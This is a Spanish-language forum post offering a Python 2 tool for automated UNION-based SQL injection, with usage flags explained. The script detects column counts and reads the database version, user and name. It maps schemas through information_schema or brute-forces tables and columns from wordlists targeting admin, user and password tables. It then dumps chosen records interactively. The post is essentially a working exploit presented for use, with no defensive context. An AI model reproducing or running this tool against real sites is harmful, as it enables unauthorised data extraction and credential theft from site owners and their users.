Encuentra la estructura de la bd por information_schema y si no hay brutea el nombre de las tablas y columnas.
Siendo esa la web con SQLi :
Si escribes :
./sqli [urlvulnerable] -c
Podrás ver los registros de la tabla que tu quieras .
Si haces :
./sqli [urlvulnerable] -r
Te dirá todas las bases de datos ,tablas y columnas menos las del information_schema (porque son muchas y no tan necesarias).
Si no pones ni -r ni -c te hará las dos.
Código
#!/usr/bin/python import urllib2,sys,string # Sql injector helper by braulio23 # Usage sql.py http://host/app?vulnparameter= # Example : sql.py http://localhost/sql.php?id= def entre(code,delimita): try : for numero in range(len(code)): if code[numero:numero+len(delimita)]==delimita: indice1=numero+len(delimita) break for numero2 in range(indice1+1,len(code)): if code[numero2:numero2+len(delimita)]==delimita: indice2 = numero2 return code[indice1+1:indice2] except : return False def codigo(url): return urllib2.urlopen(url).read() def char(cadena): cadena+="~" returned = "char(" for caracter in cadena: returned+=str(ord(caracter)) if caracter!="~": returned+="," return returned+")" def encontrar(code,cadena): longitudcode = len(code) longitudcadena = len(cadena) for indice in range(0,longitudcode-4): if code[indice:indice+longitudcadena]==cadena: return 0 def consultacorrecta(url,listadecosasaencontrar): pagina = urllib2.urlopen(url) codigo = pagina.read() for cosa in listadecosasaencontrar: if encontrar(codigo,cosa)==0: return True return False def printable(urlbase,numero,columnas): urlbase+="-1%20union%20select%20" listadecosas = [] for a in range(columnas): if a==numero: urlbase+=char('aaabaaabaaabaaabaaabaaabaabababab') listadecosas.append('aaabaaabaaabaaabaaabaaabaabababab') else : urlbase+='concat(202020,'+str((a+1)*31337)+')' if a!=columnas-1 : urlbase+=',' return consultacorrecta(urlbase+'%20--',listadecosas) def obtenerdato(urlbase,printables,columnas,variable,tabla='okokokok',limit=0): urlbase+="-1%20union%20select%20" for a in range(columnas): if a==printables: urlbase+='concat('+char('%%%%')+','+variable+','+char('%%%%')+')' else : urlbase+=str(a) if a!=columnas-1 : urlbase+="," if tabla != 'okokokok' : urlbase+='%20from%20'+tabla urlbase+='%20limit%20'+str(limit)+',1' code = codigo(urlbase+'%20--') return entre(code,'%%%%') def datosgenerales(): global columnasprintables print '[+] Version ',obtenerdato(urlvulnerable,columnasprintables[0],numero,'version()') print '[+] Usuario ',obtenerdato(urlvulnerable,columnasprintables[0],numero,'current_user()') print '[+] Base de datos ',obtenerdato(urlvulnerable,columnasprintables[0],numero,'database()') def estructuraconschema(): print "[+]Bases de datos" i=0 while obtenerdato(urlvulnerable,columnasprintables[0],numero,'schema_name','information_schema.schemata',i)!=False: database = obtenerdato(urlvulnerable,columnasprintables[0],numero,'schema_name','information_schema.schemata',limit=i) print "[-------------------->]",database j=0 while obtenerdato(urlvulnerable,columnasprintables[0],numero,'table_name','information_schema.tables%20where%20TABLE_SCHEMA='+char(database)[:len(char(database))-5]+')%20AND%20table_schema!='+char('information_schema')[:len(char('information_schema'))-5]+')',j)!=False: tabla = obtenerdato(urlvulnerable,columnasprintables[0],numero,'table_name','information_schema.tables%20where%20TABLE_SCHEMA='+char(database)[:len(char(database))-5]+')%20AND%20table_schema!='+char('information_schema')[:len(char('information_schema'))-5]+')',j) print "[------------>]",tabla k=0 while obtenerdato(urlvulnerable,columnasprintables[0],numero,'column_name','information_schema.columns%20where%20TABLE_NAME='+char(tabla)[:len(char(tabla))-5]+')',k)!=False: columna = obtenerdato(urlvulnerable,columnasprintables[0],numero,'column_name','information_schema.columns%20where%20TABLE_NAME='+char(tabla)[:len(char(tabla))-5]+')',k) print '[--->]',columna k+=1 print '\n' j+=1 i+=1 def consultas(): print "---- Consulta personalizada ----" db="" while 1: db = raw_input("(Escribe Salir para salir) Nombre de la base de datos : ") if db=="Salir" : break tabla = raw_input("Nombre de la tabla : ") columnas = raw_input("Nombres de las columnas (separadas por comas) : ") columnas = columnas.replace(',',",0x20,") for lolo in range(1000): resultado = obtenerdato(urlvulnerable,columnasprintables[0],numero,'concat('+columnas+')',db+'.'+tabla,lolo) if resultado!=False: print "Resultado :",resultado else : print "Ya no quedan mas registros " break listatablas = ['admin','tblUsers','tblAdmin','user','users','username','noticias','usernames','usuario', 'name','names','nombre','nombres','usuarios','member','members','admin_table', 'miembro','miembros','membername','admins','administrator', 'administrators','passwd','password','passwords','pass','Pass', 'tAdmin','tadmin','user_password','user_passwords','user_name','user_names', 'member_password','mods','mod','moderators','moderator','user_email', 'user_emails','user_mail','user_mails','mail','emails','email','address', 'e-mail','emailaddress','correo','correos','phpbb_users','log','logins', 'login','registers','register','usr','usrs','ps','pw','un','u_name','u_pass', 'tpassword','tPassword','u_password','nick','nicks','manager','managers','administrador', 'tUser','tUsers','administradores','clave','login_id','pwd','pas','sistema_id', 'sistema_usuario','sistema_password','contraseña','auth','key','senha', 'tb_admin','tb_administrator','tb_login','tb_logon','tb_members_tb_member', 'tb_users','tb_user','tb_sys','sys','fazerlogon','logon','fazer','authorization', 'membros','utilizadores','staff','nuke_authors','accounts','account','accnts', 'associated','accnt','customers','customer','membres','administrateur','utilisateur', 'tuser','tusers','utilisateurs','password','amministratore','god','God','authors', 'asociado','asociados','autores','membername','autor','autores','Users','Admin','Members', 'Miembros','Usuario','Usuarios','ADMIN','USERS','USER','MEMBER','MEMBERS','USUARIO','USUARIOS','MIEMBROS','MIEMBRO','news'] listacolumnas = ['admin_name','codigo','cla_adm','usu_adm','fazer','logon','fazerlogon','authorization','membros','utilizadores','sysadmin','email', 'user_name','username','name','user','user_name','user_username','uname','user_uname','usern','user_usern','un','user_un','mail', 'usrnm','user_usrnm','usr','usernm','user_usernm','nm','user_nm','login','u_name','nombre','login_id','usr','sistema_id','author', 'sistema_usuario','auth','key','membername','nme','unme','psw','password','user_password','autores','pass_hash','hash','pass','correo', 'userpass','user_pass','upw','pword','user_pword','passwd','user_passwd','passw','user_passw','pwrd','user_pwrd','pwd','authors', 'user_pwd','u_pass','clave','usuario','contraseña','pas','sistema_password','autor','upassword','web_password','web_username'] urlvulnerable = sys.argv[1] columnasprintables = [] print "-----> Cuestiones principales <-----" for numero in range(500): listadecosas=['159753159753'] urlatestear = urlvulnerable urlatestear += "-1%20union%20select%20" for columna in range(numero): urlatestear+="concat(20101010,"+str((columna+1)*31337)+")" listadecosas.append("20101010"+str((columna+1)*31337)) if columna!=numero-1: urlatestear+="," if consultacorrecta(urlatestear+"%20--",listadecosas): urlcorrecta = urlatestear print "[+] La tabla tiene ",numero,"columnas" break for a in range(numero): if printable(urlvulnerable,a,numero): columnasprintables.append(a) if len(sys.argv)<3: sys.argv.append('-rc') if sys.argv[2]=='-r' or sys.argv[2]=='-rc': print "-----> Variables generales <-----" datosgenerales() if obtenerdato(urlvulnerable,columnasprintables[0],numero,'1','information_schema.tables')!=False: print "[+] Tiene information_schema " print "---> Estructura de la base de datos <---" estructuraconschema() else : print "[-] No tiene information_schema " print "-----> Bruteando tablas <------" for tabla in listatablas: if obtenerdato(urlvulnerable,columnasprintables[0],numero,'4',tabla)!=False: print "[->] Tabla ",tabla,"encontrada" for columna in listacolumnas: if obtenerdato(urlvulnerable,columnasprintables[0],numero,columna,tabla)!=False: print "[-->] Columna ",columna,"encontrada" if sys.argv[2] == '-c' or sys.argv[2]=='-rc': consultas()
PD: el code es muy feo porque lo programé tarde por la noche.
Suerte.